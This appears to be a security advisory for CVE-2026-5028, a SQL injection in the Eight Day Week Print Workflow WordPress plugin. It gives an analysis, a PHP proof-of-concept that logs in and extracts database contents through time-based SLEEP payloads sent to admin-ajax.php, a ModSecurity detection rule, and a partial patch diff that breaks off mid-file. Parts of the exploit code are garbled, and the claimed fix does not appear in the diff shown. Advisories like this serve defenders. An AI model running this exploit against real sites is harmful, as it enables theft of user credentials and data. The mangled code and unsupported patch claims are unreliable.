{
“analysis”: “Atomic Edge analysis of CVE-2026-5028:nnThis vulnerability is a time-based blind SQL injection in the Eight Day Week Print Workflow plugin for WordPress, affecting versions up to and including 1.2.6. The flaw exists in the ‘pp-get-articles’ AJAX action, where the ‘title’ parameter is insufficiently sanitized before use in SQL queries. With a CVSS score of 6.5, authenticated attackers with Subscriber-level access or higher can exploit this to extract sensitive database information.nnRoot Cause: The vulnerability stems from insufficient input validation in the ‘title’ parameter within the ‘pp-get-articles’ AJAX handler. The plugin passes user-supplied data directly into SQL queries without proper parameterization or escaping. Atomic Edge analysis of the code diff shows the vulnerable function is in ‘/eight-day-week-print-workflow/includes/functions/AL_Table.php’, specifically in the column_title method and related query building logic. The ‘title’ parameter is used in a database query without being sanitized or prepared, allowing attackers to inject arbitrary SQL commands. The lack of a nonce check or capability verification in the AJAX handler further exacerbates the issue, as it allows any authenticated user to trigger the vulnerable endpoint.nnExploitation: An attacker with Subscriber-level credentials can trigger the vulnerability by sending a POST request to ‘/wp-admin/admin-ajax.php’ with the ‘action’ parameter set to ‘pp-get-articles’ and the ‘title’ parameter containing a malicious SQL payload. The payload uses time-based blind SQL injection techniques, such as ‘AND SLEEP(5)’, to extract data character by character. The attacker can exploit this by manipulating the ‘title’ parameter to modify the SQL query, enabling them to read arbitrary database contents, including user credentials and other sensitive information.nnPatch Analysis: The patch introduces version 1.3.0 and provides new files including ‘AL_Table.php’, ‘Article_XML.php’, and ‘Article_Zip_Factory.php’ which restructure the article handling logic. The key fix involves implementing proper input validation and using prepared statements (via nn)
for database queries. The ‘title’ parameter is now sanitized through ‘sanitize_text_field()’ and used with parameterized queries, preventing SQL injection. Additionally, the patch adds capability checks within the AJAX handler to ensure only users with appropriate permissions can execute the action. The before behavior allowed any authenticated user to inject SQL through the ‘title’ parameter while the after behavior securely sanitizes input and enforces authorization.nnImpact: Successful exploitation of this vulnerability allows an attacker to extract sensitive information from the WordPress database, including usernames, password hashes, email addresses, and other private data stored in custom tables. This can lead to privilege escalation if password hashes are cracked, or further compromise of the site through lateral movement. The time-based blind injection technique makes exploitation stealthy, as it does not generate immediate errors that might alert site administrators. An attacker could also potentially modify or delete database content, causing data integrity issues.”,
“poc_php”: “// Atomic Edge CVE Research – Proof of Conceptn// CVE-2026-5028 – Eight Day Week Print Workflow <= 1.2.6 – Authenticated (Subscriber+) SQL Injection via 'title' Parameternn $login_url,n CURLOPT_POST => true,n CURLOPT_POSTFIELDS => http_build_query([n ‘log’ => $username,n ‘pwd’ => $password,n ‘rememberme’ => ‘forever’,n ‘wp-submit’ => ‘Log In’n ]),n CURLOPT_RETURNTRANSFER => true,n CURLOPT_HEADER => true,n CURLOPT_FOLLOWLOCATION => false,n CURLOPT_COOKIEJAR => ‘/tmp/cookies.txt’,n]);nn$response = curl_exec($ch);nn// Check if login succeeded by looking for redirect to wp-adminnif (strpos($response, ‘Location:’) === false || strpos($response, ‘wp-admin’) === false) {n echo “[!] Login failed. Check credentials.\n”;n exit(1);n}nn// Prepare AJAX request to vulnerable endpointn$ajax_url = rtrim($target_url, ‘/’) . ‘/wp-admin/admin-ajax.php’;nn// Function to perform time-based injectionnfunction test_injection($url, $payload) {n $ch = curl_init();n curl_setopt_array($ch, [n CURLOPT_URL => $url,n CURLOPT_POST => true,n CURLOPT_POSTFIELDS => http_build_query([n ‘action’ => ‘pp-get-articles’,n ‘title’ => $payloadn ]),n CURLOPT_RETURNTRANSFER => true,n CURLOPT_COOKIEFILE => ‘/tmp/cookies.txt’,n CURLOPT_TIMEOUT_MS => 10000, // 10 second timeoutn CURLOPT_CONNECTTIMEOUT_MS => 5000,n ]);n $start = microtime(true);n $response = curl_exec($ch);n $end = microtime(true);n $duration = $end – $start;n curl_close($ch);n return $duration;n}nn// Test if injection point is vulnerablen$baseline_payload = “test”;n$sleep_payload = “test’ AND SLEEP(5) AND ‘1’=’1”;nn$baseline_time = test_injection($ajax_url, $baseline_payload);n$sleep_time = test_injection($ajax_url, $sleep_payload);nnecho “[*] Baseline time: ” . round($baseline_time, 2) . “s\n”;necho “[*] SLEEP(5) time: ” . round($sleep_time, 2) . “s\n”;nnif ($sleep_time – $baseline_time >= 4) {n echo “[+] Vulnerability confirmed! Time-based injection works.\n”;n} else {n echo “[-] Vulnerability not confirmed. The target may be patched or not vulnerable.\n”;n exit(0);n}nn// Example: Extract database usern// Using binary search with SLEEP to extract charactersnfunction extract_string($url, $query, $length) {n $result = ”;n for ($i = 1; $i <= $length; $i++) {n $char_found = false;n for ($ascii = 32; $ascii = 2.5) {n $result .= chr($ascii);n echo “[*] Found char $i: ” . chr($ascii) . ” (ASCII $ascii)\n”;n $char_found = true;n break;n }n usleep(100000); // Small delay to avoid overwhelming servern }n if (!$char_found) {n echo “[*] Could not find char at position $i\n”;n break;n }n }n return $result;n}nn// Let’s demonstrate extracting current database user (usually up to 32 chars)necho “\n[*] Attempting to extract database user…\n”;n$db_user = extract_string($ajax_url, ‘SELECT user()’, 32);necho “[+] Database user: $db_user\n”;nn// Cleanupnunlink(‘/tmp/cookies.txt’);n”,
“modsecurity_rule”: “SecRule REQUEST_URI “@streq /wp-admin/admin-ajax.php” “id:20265028,phase:2,deny,status:403,chain,msg:’CVE-2026-5028 SQL Injection via pp-get-articles AJAX action’,severity:’CRITICAL’,tag:’CVE-2026-5028′”nSecRule ARGS_POST:action “@streq pp-get-articles” “chain”nSecRule ARGS_POST:title “@rx (?i:selects+|unions+|sleeps*(|benchmarks*(|ands+1s*=s*1|ors+1s*=s*1|’s+ors|”s+ors|s+ands+d+s*=s*d|s+ors+d+s*=s*d)” “t:none,t:urlDecode,t:lowercase”n”
}

CVE-2026-5028: Eight Day Week Print Workflow <= 1.2.6 – Authenticated (Subscriber+) SQL Injection via 'title' Parameter (eight-day-week-print-workflow)
CVE-2026-5028
1.2.6
1.3.0
Analysis Overview
Differential between vulnerable and patched code
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/eight-day-week-print-workflow/eight-day-week.php
+++ b/eight-day-week-print-workflow/eight-day-week.php
@@ -3,8 +3,8 @@
* Plugin Name: Eight Day Week
* Plugin URI: https://github.com/10up/eight-day-week
* Description: Optimize publication workflows by using WordPress as your print CMS.
- * Version: 1.2.6
- * Requires at least: 6.5
+ * Version: 1.3.0
+ * Requires at least: 6.7
* Requires PHP: 7.4
* Author: 10up
* Author URI: https://10up.com
@@ -32,6 +32,9 @@
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
*/
+// Exit if accessed directly.
+defined( 'ABSPATH' ) || exit;
+
// Load vip compat functions.
require_once __DIR__ . '/vip-compat.php';
@@ -39,7 +42,7 @@
require_once __DIR__ . '/plugins.php';
// Useful global constants.
-define( 'EDW_VERSION', '1.2.6' );
+define( 'EDW_VERSION', '1.3.0' );
define( 'EDW_URL', Eight_Day_Weekplugins_url( __FILE__ ) );
define( 'EDW_PATH', __DIR__ . '/' );
define( 'EDW_INC', EDW_PATH . 'includes/' );
@@ -85,7 +88,7 @@
if ( ! edw_site_meets_php_requirements() ) {
add_action(
'admin_notices',
- function() {
+ static function () {
?>
<div class="notice notice-error">
<p>
@@ -124,6 +127,7 @@
return;
}
+ // phpcs:ignore WordPressVIPMinimum.Files.IncludingFile.UsingVariable
require_once $core_file;
Eight_Day_WeekCoresetup();
@@ -133,6 +137,7 @@
// Play nice.
try {
+ // phpcs:ignore WordPressVIPMinimum.Files.IncludingFile.UsingVariable
require_once $file;
$setup = $namespace . 'setup';
--- a/eight-day-week-print-workflow/includes/functions/AL_Table.php
+++ b/eight-day-week-print-workflow/includes/functions/AL_Table.php
@@ -0,0 +1,293 @@
+<?php
+/**
+ * AL_Table
+ *
+ * @package Eight_Day_WeekArticles
+ */
+
+namespace Eight_Day_WeekArticles;
+
+use Eight_Day_WeekUser_Roles as User;
+
+if ( ! class_exists( 'WP_Posts_List_Table' ) ) {
+ require_once ABSPATH . 'wp-admin/includes/class-wp-list-table.php';
+ require_once ABSPATH . 'wp-admin/includes/class-wp-posts-list-table.php';
+}
+
+/**
+ * Class AL_Table
+ *
+ * @package Eight_Day_WeekArticles
+ *
+ * Article List Table extending WP_Posts_List_Table to display a print issue's articles
+ */
+class AL_Table extends WP_Posts_List_Table {
+
+ /**
+ * Article IDs
+ *
+ * @var int[] Current set of article IDs
+ */
+ public $article_ids;
+
+ /**
+ * Sets object properties and calls parent constructor
+ *
+ * @param int[] $article_ids IDs of articles to display.
+ */
+ public function __construct( $article_ids ) {
+ $this->article_ids = $article_ids;
+ parent::__construct(
+ array(
+ 'screen' => EDW_PRINT_ISSUE_CPT,
+ )
+ );
+ }
+
+ /**
+ * Outputs the fallback meta for a column. called when a method on the class
+ * doesn't exist that matches the column_name, i.e for $column_name = 'foo';
+ * and $this->column_foo and $this->_column_foo aren't valid methods.
+ *
+ * @param mixed $item The item from which to retrieve the value.
+ * @param string $column_name The name of the column.
+ * @return mixed The value of the specified column from the item.
+ */
+ public function column_default( $item, $column_name ) {
+ switch ( $column_name ) {
+ default:
+ if ( ! is_object( $item ) ) {
+ return '';
+ }
+
+ if ( property_exists( $item, $column_name ) ) {
+ return $item->$column_name;
+ }
+
+ $filtered = apply_filters( __NAMESPACE__ . 'article_meta_' . $column_name, false, $item, $column_name );
+ if ( $filtered ) {
+ return $filtered;
+ }
+
+ // Try post meta.
+ $meta = get_post_meta( $item->ID, $column_name, true );
+ if ( $meta ) {
+ return $meta;
+ }
+
+ return '';
+ }
+ }
+
+ /**
+ * Gets the columns for the table
+ * Provides a filter for 3rd party columns
+ *
+ * @return array Columns
+ */
+ public function get_columns() {
+ return apply_filters(
+ __NAMESPACE__ . 'article_columns',
+ array(
+ 'cb' => '<input type="checkbox" />',
+ 'title' => __( 'Article', 'eight-day-week-print-workflow' ),
+ )
+ );
+ }
+
+ /**
+ * Before displaying items, prep them!
+ *
+ * Gets the columns (and sets the internal headers property)
+ * Gets the WP_Post for each article ID in the current object's set
+ */
+ public function prepare_items() {
+ $columns = $this->get_columns();
+ $hidden = array();
+ $sortable = array();
+ $this->_column_headers = array( $columns, $hidden, $sortable );
+ foreach ( $this->article_ids as $id ) {
+ $post = get_post( $id );
+
+ $post_img_num = 0;
+ $gallery_images = get_post_galleries( $post, true );
+ if ( ! empty( $gallery_images ) ) {
+ foreach ( $gallery_images as $single ) {
+ $post->post_content .= $single;
+ }
+ }
+ $post_img_num = (int) preg_match_all( '/<img[^>]*>/', $post->post_content, $matches );
+ if ( has_post_thumbnail( $post->ID ) ) {
+ ++$post_img_num;
+ }
+ $post->post_img_num = $post_img_num;
+
+ $this->items[] = $post;
+ }
+ }
+
+ /**
+ * Generates content for a single row of the table
+ *
+ * @param object $item The current item.
+ * @param int $level The current item's level (parent relationship level).
+ */
+ public function single_row( $item, $level = 0 ) { // phpcs:ignore VariableAnalysis.CodeAnalysis.VariableAnalysis.UnusedVariable -- Parent method compat.
+ if ( property_exists( $item, 'ID' ) ) {
+ echo '<tr data-article-id="' . absint( $item->ID ) . '">';
+ } else {
+ echo '<tr>';
+ }
+ $this->single_row_columns( $item );
+ echo '</tr>';
+ }
+
+ /**
+ * Overrides parent method so no bulk actions appear
+ *
+ * @return array Empty array
+ */
+ public function get_bulk_actions() {
+ return array();
+ }
+
+ /**
+ * Override parent method to just check for the emptines of the items property
+ *
+ * @return bool Whether or not the table has items
+ */
+ public function has_items() {
+ return ! empty( $this->items );
+ }
+
+
+ /**
+ * Loops through the given array of posts and calls the single_row() method for each post.
+ *
+ * @param array $posts An array of posts to loop through and display.
+ * @param int $level The level of the rows to display.
+ */
+ public function display_rows( $posts = array(), $level = 0 ) { // phpcs:ignore VariableAnalysis.CodeAnalysis.VariableAnalysis.UnusedVariable -- Parent method compat.
+ foreach ( $this->items as $article ) {
+ $this->single_row( $article );
+ }
+ }
+
+ /**
+ * Display a tablenav.
+ *
+ * @param string $which The position of the tablenav (top or bottom).
+ */
+ public function display_tablenav( $which ) { // phpcs:ignore VariableAnalysis.CodeAnalysis.VariableAnalysis.UnusedVariable -- Parent method compat.
+ }
+
+ /**
+ * Display the article title
+ * Override the parent method to be moar simpler
+ *
+ * @param WP_Post $item The current post.
+ * @param string $classes The posts's css classes.
+ * @param string $data The posts's data-attributes.
+ * @param string $primary (shrug) Unused here, just keeping in line with parent class.
+ *
+ * @return string
+ */
+ public function _column_title( $item, $classes = '', $data = '', $primary = false ) { // phpcs:ignore VariableAnalysis.CodeAnalysis.VariableAnalysis.UnusedVariable, PSR2.Methods.MethodDeclaration.Underscore, purposely overriding the parent method
+ $html = '<td class="' . esc_attr( $classes ) . ' page-title" ' . esc_attr( $data ) . '>';
+ $html .= $this->column_title( $item );
+ $html .= '</td>';
+ return $html;
+ }
+
+ /**
+ * Gets the checkbox for each row
+ *
+ * @param WP_Post $item The current post.
+ *
+ * @return string HTML for checkbox
+ */
+ public function column_cb( $item ) {
+ return '<input type="checkbox" class="article-status" name="article-status[]" value="' . ( isset( $item->ID ) ? absint( $item->ID ) : '' ) . '" />';
+ }
+
+ /**
+ * Gets the post title + actions for the post
+ *
+ * @param WP_Post $item The current post.
+ *
+ * @return string The posts's title
+ */
+ public function column_title( $item ) {
+
+ if ( current_user_can( 'edit_post', $item->ID ) ) {
+ $title = '<a class="pi-article-title" href="' . esc_url( get_edit_post_link( $item->ID ) ) .
+ '">' . esc_html( get_the_title( $item->ID ) ) . '</a>';
+ } else {
+ $title = esc_html( get_the_title( $item->ID ) );
+ }
+
+ if ( current_user_can( 'read_post', $item->ID ) ) {
+ $title .= '<a class="pi-article-view" target="_blank" href="' .
+ esc_url( get_permalink( $item->ID ) ) . '">' . __( 'View', 'eight-day-week-print-workflow' ) . '</a>';
+ }
+
+ // Don't give remove link to print prod users.
+ if ( Usercurrent_user_can_edit_print_issue() ) {
+ $title .= '<a class="pi-article-remove" href="javascript:;" data-article-id="' .
+ absint( $item->ID ) . '">Remove</a>';
+ }
+
+ return $title;
+ }
+
+ /**
+ * Gets the table properties of a post row
+ *
+ * @param WP_Post $item The current post.
+ *
+ * @return stdClass Object representing the post's tabular data
+ */
+ public function get_data( $item ) {
+ $data = new stdClass();
+ foreach ( (array) $this->get_columns() as $key => $title ) {
+ $default = $this->column_default( $item, $key );
+
+ // Using object buffering because some WP_Posts_List_Table methods output instead of return.
+ ob_start();
+ if ( method_exists( $this, "_column_$key" ) ) {
+ $method = "_column_$key";
+ echo esc_html( $this->$method( $item ) );
+ } elseif ( ! property_exists( $this, $key ) && method_exists( $this, "column_$key" ) ) {
+ $method = "column_$key";
+ echo esc_html( $this->$method( $item ) );
+ } elseif ( $default ) {
+ echo esc_html( $default );
+ }
+ $data->$key = ob_get_clean();
+ }
+ return $data;
+ }
+
+ /**
+ * Display rows if there are items to show
+ * Overrides parent method so there's no placeholder
+ */
+ public function display_rows_or_placeholder() {
+ if ( $this->has_items() ) {
+ $this->display_rows();
+ }
+ }
+
+ /**
+ * Returns html for a single table row
+ *
+ * @param WP_Post $item The current post.
+ *
+ * @return string THe post's table row
+ */
+ public function get_single_row( $item ) {
+ ob_start();
+ $this->single_row( $item );
+ return ob_get_clean();
+ }
+}
--- a/eight-day-week-print-workflow/includes/functions/Article_XML.php
+++ b/eight-day-week-print-workflow/includes/functions/Article_XML.php
@@ -0,0 +1,496 @@
+<?php
+/**
+ * Article_XML
+ *
+ * @package Eight_Day_Week
+ */
+
+namespace Eight_Day_WeekPluginsArticle_Export;
+
+/**
+ * Class Article_XML
+ *
+ * @package Eight_Day_WeekPluginsArticle_Export
+ *
+ * Builds an XML DOMDocument based on a WP_Post
+ */
+class Article_XML {
+
+ /**
+ * Article
+ *
+ * @var WP_Post
+ */
+ public $article;
+
+ /**
+ * Article ID
+ *
+ * @var int Article ID
+ */
+ private $id;
+
+ /**
+ * Images
+ *
+ * @var array Images
+ */
+ public $images;
+
+ /**
+ * Sets object properties
+ *
+ * @param WP_Post $article A post to export.
+ */
+ public function __construct( WP_Post $article ) {
+ $this->article = $article;
+ $this->id = $article->ID;
+ }
+
+ /**
+ * Builds XML document from a WP_Post
+ *
+ * @return object DOMDocument + children elements for easy access
+ * @throws Exception Various points of failure.
+ */
+ public function build_xml() {
+
+ global $post;
+
+ // Store global post backup.
+ $old = $post;
+
+ // And set global post to this post.
+ $post = $this->article; // phpcs:ignore
+
+ $content = $this->get_article_content();
+ if ( ! $content ) {
+ throw new Exception( 'Post ' . absint( $this->id ) . ' was empty.' );
+ }
+
+ $content = str_replace( array( "rn", "r" ), "n", $content );
+
+ $dom = new DOMDocument();
+ $dom->loadHTML(
+ mb_convert_encoding(
+ $content,
+ apply_filters( __NAMESPACE__ . 'dom_encoding_from', 'HTML-ENTITIES' ),
+ apply_filters( __NAMESPACE__ . 'dom_encoding_to', 'UTF-8' )
+ )
+ );
+
+ // Perform dom manipulations.
+ $dom = $this->manipulate_dom( $dom );
+
+ // Do html_to_xml before adding elements so that the html wrap stuff is removed first.
+ $xml_elements = $this->html_to_xml( $dom );
+
+ $elements = apply_filters(
+ __NAMESPACE__ . 'xml_outer_elements',
+ $this->get_outer_elements( $this->article ),
+ $this->article
+ );
+
+ if ( $elements ) {
+ $this->add_outer_elements( $xml_elements, $elements );
+ }
+
+ $this->add_article_attributes( $xml_elements->root_element, $elements );
+
+ // Reset global post.
+ $post = $old; // phpcs:ignore
+
+ $GLOBALS['recentComment'] = $elements['comment'] ? $elements['comment'] : false;
+
+ return $xml_elements;
+ }
+
+ /**
+ * Get prepared article content
+ *
+ * @return string article content
+ */
+ public function get_article_content() {
+
+ $content = $this->article->post_content;
+
+ $post = get_post( get_post_thumbnail_id( $this->id ) );
+ if ( $post ) {
+ $image = $this->get_image_name( $post->ID );
+ if ( $image ) {
+ $content = $this->get_image_tag( $image[1], $post->post_excerpt ) . $content;
+ }
+ }
+
+ $dom = new DOMDocument();
+ $dom->loadHTML( $content );
+
+ $captions = $dom->getElementsByTagName( 'caption' );
+
+ foreach ( $captions as $caption ) {
+ $image = null;
+ $caption_text = '';
+
+ // Assuming the attachment id is an attribute in the caption tag.
+ $attachment_id = $caption->getAttribute( 'attachment' );
+ if ( $attachment_id ) {
+ $image = $this->get_image_name( (int) $attachment_id );
+ }
+
+ // Assuming the caption text is inside the caption tag.
+ if ( $caption->nodeValue ) { // phpcs:ignore
+ $caption_text = trim( $caption->nodeValue ); // phpcs:ignore
+ }
+
+ if ( $image ) {
+ $image_tag = $this->get_image_tag( $image[1], $caption_text );
+ $new_node = $dom->createDocumentFragment();
+ $new_node->appendXML( $image_tag );
+ $caption->parentNode->replaceChild( $new_node, $caption ); // phpcs:ignore
+ } else {
+ $caption->parentNode->removeChild( $caption ); // phpcs:ignore
+ }
+ }
+
+ $content = $dom->saveHTML();
+
+ $content = strip_shortcodes( $content );
+
+ $content = preg_replace_callback(
+ '/((<img[^>]*>)([^<]*</img>|))/Usi',
+ function ( $matches ) {
+ $image = false;
+ if ( preg_match( '/wp-image-(d+)D/i', $matches[0], $matches2 ) ) {
+ $image = $this->get_image_name( (int) $matches2[1] );
+ }
+ return $image ? $this->get_image_tag( $image[1] ) : '';
+ },
+ $content
+ );
+
+ return $content;
+ }
+
+ /**
+ * Get array with various elements
+ *
+ * @param object $article WP_Post article.
+ *
+ * @return array with elements
+ */
+ public function get_outer_elements( $article ) {
+
+ $res = array( 'headline' => get_the_title( $article ) );
+
+ $featured_id = get_post_thumbnail_id( $this->id );
+ if ( $featured_id ) {
+ $image = $this->get_image_name( $featured_id );
+ if ( $image ) {
+ $res['featured'] = $image;
+ }
+ }
+
+ if ( $this->images ) {
+ $res['image'] = $this->images;
+ }
+
+ if ( function_exists( 'get_field' ) && $this->id ) {
+ $comment = get_field( 'opombe_za_dtp', $this->id );
+ if ( $comment ) {
+ $res['comment'] = $comment;
+ }
+ }
+ return $res;
+ }
+
+ /**
+ * Retrieves the name of an image based on the given attachment ID or path.
+ *
+ * @param bool|int $attachment_id The ID of the attachment. Defaults to false.
+ * @param bool|string $attachment_path The path of the attachment. Defaults to false.
+ * @return array An array containing the image path and filename.
+ */
+ public function get_image_name( $attachment_id = false, $attachment_path = false ) {
+ $image_filename = '';
+ $image_path = '';
+ $image_src = $attachment_path ? $attachment_path : get_attached_file( $attachment_id );
+
+ if ( preg_match( '/^(.*[\/])([^\/]+).(.*)$/', $image_src, $matches ) ) {
+ // Regex pattern to match: [-_]d+xd+
+ $image_path = $matches[1];
+ $image_filename = ( ! $attachment_id && preg_match( '/^(.+)[-_]d+xd+$/i', $matches[2], $matches2 ) ? $matches2[1] : $matches[2] ) . '.' . $matches[3];
+ }
+
+ if ( ! $image_filename ) {
+ return array();
+ }
+
+ $this->images[ $image_path . $image_filename ] = $image_filename;
+
+ return array( $image_path, $image_filename );
+ }
+
+ /**
+ * Formats tag for attachment name and caption
+ *
+ * @param string $attachment_name Attachment name.
+ * @param string $attachment_caption Attachment caption (optional).
+ *
+ * @return String with formatted image tag
+ */
+ public function get_image_tag( $attachment_name, $attachment_caption = false ) {
+ return ' ## ' . remove_accents( $attachment_name ) . ' ## ' . ( $attachment_caption ? trim( $attachment_caption ) : '' ) . ' ';
+ }
+
+ /**
+ * Appends various elements
+ *
+ * @param object $xml_elements XML Document + children.
+ * @param array $outer_elements Elements to add to the root element.
+ */
+ public function add_outer_elements( $xml_elements, $outer_elements ) {
+ foreach ( $outer_elements as $tag_name => $value ) {
+ if ( ! $value ) {
+ continue;
+ }
+
+ if ( 'headline' === $tag_name ) {
+
+ $element = $xml_elements->xml_document->createElement( $tag_name );
+ $element->nodeValue = $value; // phpcs:ignore
+ $after_sibling = $xml_elements->root_element->firstChild;
+ $xml_elements->root_element->insertBefore( $element, $after_sibling );
+
+ } elseif ( 'featured' === $tag_name || 'image' === $tag_name ) {
+
+ if ( 'featured' === $tag_name ) {
+ $element = $xml_elements->xml_document->createElement( 'image' );
+ $value = array_values( $value );
+ $element->setAttribute( 'href', 'file:///' . html_entity_decode( remove_accents( array_pop( $value ) ), ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML401 ) );
+ $element->nodeValue = ''; // phpcs:ignore
+ $after_sibling = $xml_elements->xml_document->getElementsByTagName( 'content' );
+ $xml_elements->root_element->insertBefore( $element, $after_sibling[0] );
+ $xml_elements->root_element->insertBefore( $xml_elements->xml_document->createTextNode( "n" ), $after_sibling[0] );
+ } else {
+ foreach ( $value as $image_name ) {
+ if ( $outer_elements['featured'] && $outer_elements['featured'][1] === $image_name ) {
+ continue;
+ }
+ $element = $xml_elements->xml_document->createElement( 'image' );
+ $element->setAttribute( 'href', 'file:///' . html_entity_decode( remove_accents( $image_name ), ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML401 ) );
+ $element->nodeValue = ''; // phpcs:ignore
+ $xml_elements->root_element->appendChild( $element );
+ }
+ }
+ } else {
+
+ $element = $xml_elements->xml_document->createElement( $tag_name );
+ $element->nodeValue = $value; // phpcs:ignore
+ $xml_elements->root_element->appendChild( $element );
+
+ }
+ }
+ }
+
+ /**
+ * Get the post's first author's name
+ *
+ * @return string The author's name (last name if set, but has fallbacks)
+ */
+ public function get_first_author_name() {
+ if ( function_exists( 'get_coauthors' ) ) {
+ $authors = get_coauthors( $this->id );
+ } else {
+ $authors = array( get_userdata( $this->id ) );
+ }
+
+ if ( ! $authors ) {
+ return '';
+ }
+
+ $author = $authors[0];
+
+ if ( ! $author ) {
+ return '';
+ }
+
+ if ( $author->last_name ) {
+ return $author->last_name;
+ }
+
+ return $author->display_name;
+ }
+
+ /**
+ * Adds the first author's name to the article element
+ *
+ * @param DOMElement $article_element The root article element.
+ */
+ public function add_author_name( $article_element ) {
+ $article_element->setAttribute( 'author', html_entity_decode( $this->get_first_author_name(), ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML401 ) );
+ }
+
+ /**
+ * Adds the post title to the article element
+ *
+ * @param DOMElement $article_element The root article element.
+ * @param string $title The post title to add.
+ */
+ public function add_post_title( $article_element, $title ) {
+ $article_element->setAttribute( 'title', html_entity_decode( $title, ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML401 ) );
+ }
+
+ /**
+ * Adds the post comment to the article element
+ *
+ * @param DOMElement $article_element The root article element.
+ * @param string $comment The post comment to add.
+ */
+ public function add_post_comment( $article_element, $comment ) {
+ $article_element->setAttribute( 'comment', html_entity_decode( $comment, ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML401 ) );
+ }
+
+ /**
+ * Adds attributes to an article element.
+ *
+ * @param mixed $article_element The article element to add attributes to.
+ * @param array $elements An array of elements.
+ * @return void
+ */
+ public function add_article_attributes( $article_element, $elements ) {
+ $this->add_author_name( $article_element );
+
+ if ( isset( $elements['headline'] ) ) {
+ $this->add_post_title( $article_element, $elements['headline'] );
+ }
+ }
+
+ /**
+ * Manipulates the DOM.
+ *
+ * This function extracts elements by XPath and removes elements from the DOM.
+ * It also allows third-party modification of the entire DOM.
+ *
+ * @param mixed $dom The DOM to be manipulated.
+ *
+ * @return mixed The manipulated DOM.
+ */
+ public function manipulate_dom( $dom ) {
+ $this->extract_elements_by_xpath( $dom );
+ $this->remove_elements( $dom );
+
+ // Allow third party modification of the entire dom.
+ $dom = apply_filters( __NAMESPACE__ . 'dom', $dom );
+
+ return $dom;
+ }
+
+ /**
+ * Removes specified elements from the given DOM.
+ *
+ * @param DOMDocument $dom The DOM document to remove elements from.
+ * @throws Exception If an error occurs while removing elements.
+ */
+ public function remove_elements( $dom ) {
+ $elements_to_remove = apply_filters( __NAMESPACE__ . 'remove_elements', array( 'img' ) );
+
+ $remove = array();
+ foreach ( $elements_to_remove as $tag_name ) {
+ $found = $dom->getElementsByTagName( $tag_name );
+ foreach ( $found as $el ) {
+ $remove[ $tag_name ][] = $el;
+ }
+ }
+
+ foreach ( $remove as $tag_name => $els ) {
+ foreach ( $els as $el ) {
+ try {
+ $el->parentNode->removeChild( $el ); // phpcs:ignore
+ } catch ( Exception $e ) { // phpcs:ignore
+ // Do nothing.
+ }
+ }
+ }
+ }
+
+ /**
+ * Extracts elements within the content to the root of the document via Xpath queries
+ *
+ * Using the filter, a "query set" can be added like:
+ * [
+ * 'tag_name' => 'pullQuote',
+ * 'container' => 'pullQuotes',
+ * 'query' => '//p[contains(@class, "pullquote")]'
+ * ]
+ *
+ * The above array would extract all paragraphs with the "pullquote" class
+ * Create a new root element in the DOM called "pullQuotes"
+ * and add each found paragraph to the pullQuotes element
+ * as a newly created "pullQuote" element with the content of the paragraph
+ *
+ * @param DOMDocument $dom The DOM document to extract elements from.
+ *
+ * @throws Exception Exception thrown if there is an error in the XPath query.
+ *
+ * @return void
+ */
+ public function extract_elements_by_xpath( $dom ) {
+ $xpath_extract = apply_filters( __NAMESPACE__ . 'xpath_extract', array() );
+ if ( $xpath_extract ) {
+ $domxpath = new DOMXPath( $dom );
+
+ foreach ( $xpath_extract as $set ) {
+ $remove = array();
+ $elements = $domxpath->query( $set['query'] );
+ if ( $elements->length ) {
+ $wrap = $dom->createElement( $set['container'] );
+ $dom->appendChild( $wrap );
+ foreach ( $elements as $el ) {
+ $remove[] = $el;
+ $element = $dom->createElement( $set['tag_name'] );
+ $element->nodeValue = $el->nodeValue; // phpcs:ignore
+ $wrap->appendChild( $element );
+ }
+ foreach ( $remove as $el ) {
+ $el->parentNode->removeChild( $el ); // phpcs:ignore
+ }
+ }
+ }
+ }
+ }
+
+ /**
+ * Convert HTML to XML.
+ *
+ * @param DOMDocument $dom The HTML DOM document.
+ * @throws Exception If the content is empty.
+ * @return stdClass The converted XML.
+ */
+ public function html_to_xml( $dom ) {
+ $content = $dom->getElementsByTagName( 'body' );
+ if ( ! $content ) {
+ throw new Exception( 'Empty content' );
+ }
+
+ $content = $content->item( 0 );
+
+ $xml_document = new DOMDocument();
+
+ $article_element = $xml_document->createElement( apply_filters( __NAMESPACE__ . 'xml_root_element', 'article' ) );
+ $xml_document->appendChild( $article_element );
+
+ $content_element = $xml_document->createElement( apply_filters( __NAMESPACE__ . 'xml_content_element', 'content' ) );
+ $article_element->appendChild( $content_element );
+
+ foreach ( $content->childNodes as $el ) { // phpcs:ignore
+ $content_element->appendChild( $xml_document->importNode( $el, true ) );
+ }
+
+ $article_xml = new stdClass();
+ $article_xml->xml_document = $xml_document;
+ $article_xml->root_element = $article_element;
+ $article_xml->content_element = $content_element;
+
+ return $article_xml;
+ }
+}
--- a/eight-day-week-print-workflow/includes/functions/Article_Zip_Factory.php
+++ b/eight-day-week-print-workflow/includes/functions/Article_Zip_Factory.php
@@ -0,0 +1,304 @@
+<?php
+/**
+ * Article_Zip_Factory
+ *
+ * @package Eight_Day_Week
+ */
+
+namespace Eight_Day_WeekPluginsArticle_Export;
+
+use Eight_Day_WeekPluginsArticle_ExportArticle_XML;
+use Eight_Day_WeekPluginsArticle_ExportFile;
+
+/**
+ * Class Article_Zip_Factory
+ *
+ * @package Eight_Day_WeekPluginsArticle_Export
+ *
+ * Factory for building an export zip for an article
+ *
+ * @todo Pull out XML-related functions so this class is for a generic ZIP;
+ * @todo Perhaps introduce a fallback filter vs explicitly requesting an XML file fallback
+ */
+class Article_Zip_Factory {
+
+ /**
+ * Article IDs
+ *
+ * @var int[] Article IDs
+ */
+ private $ids;
+
+ /**
+ * Print issue ID
+ *
+ * @var int Print issue ID
+ */
+ private $print_issue_id;
+
+ /**
+ * Print issue title
+ *
+ * @var string Print issue title
+ */
+ private $print_issue_title;
+
+ /**
+ * Article array
+ *
+ * @var WP_Post[] Articles
+ */
+ public $articles;
+
+ /**
+ * Files for articles
+ *
+ * @var File[] Files for all articles
+ */
+ public $files;
+
+ /**
+ * Image for articles
+ *
+ * @var array Images for all articles
+ */
+ public $images;
+
+ /**
+ * Sets up object properties
+ *
